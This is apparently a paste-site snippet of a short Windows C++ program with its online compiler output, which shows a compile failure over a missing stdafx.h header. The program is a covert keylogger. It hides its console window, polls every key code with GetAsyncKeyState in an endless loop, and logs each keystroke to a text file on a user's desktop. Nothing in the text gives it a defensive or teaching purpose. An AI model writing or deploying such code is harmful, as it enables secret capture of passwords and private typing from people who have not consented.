fork(1) download
  1. #include "stdafx.h"
  2. #include<Windows.h>
  3. #include<iostream>
  4. #include <string>
  5. #include <fstream>
  6. using namespace std;
  7.  
  8.  
  9. int main()
  10. {
  11. char d;
  12. ShowWindow(GetConsoleWindow(), SW_HIDE);
  13. setlocale(LC_ALL, "Russian");
  14. ofstream file_one;
  15. file_one.open("C:\\Users\\dmitriy\\Desktop\\test.txt");
  16. while (1)
  17. {
  18. Sleep(20);
  19. for (int i = 1; i <= 256; i++)
  20. {
  21. if (GetAsyncKeyState(i))
  22. {
  23. d = i;
  24. file_one << d << "|";
  25. }
  26. }
  27. }
  28. file_one.close();
  29. return 0;
  30. }
  31.  
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
prog.cpp:1:20: fatal error: stdafx.h: No such file or directory
 #include "stdafx.h"
                    ^
compilation terminated.
stdout
Standard output is empty